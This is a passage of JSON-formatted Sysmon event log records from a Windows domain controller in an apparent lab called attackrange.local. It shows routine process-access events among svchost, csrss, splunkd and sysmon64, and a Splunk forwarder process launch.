C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.510","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42DE-5F2D-0000-0010DD090E00}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7571,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.965\r\nProcessGuid: {90617006-42DE-5F2D-0000-00107C0D0E00}\r\nProcessId: 872\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.965","ProcessGuid":"{90617006-42DE-5F2D-0000-00107C0D0E00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7572,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E6600C00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E6600C00}","TargetProcessId":"872","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7573,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E6600C00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E6600C00}","TargetProcessId":"872","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7574,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7575,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7576,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7577,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:38.964","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7578,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:38.964\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 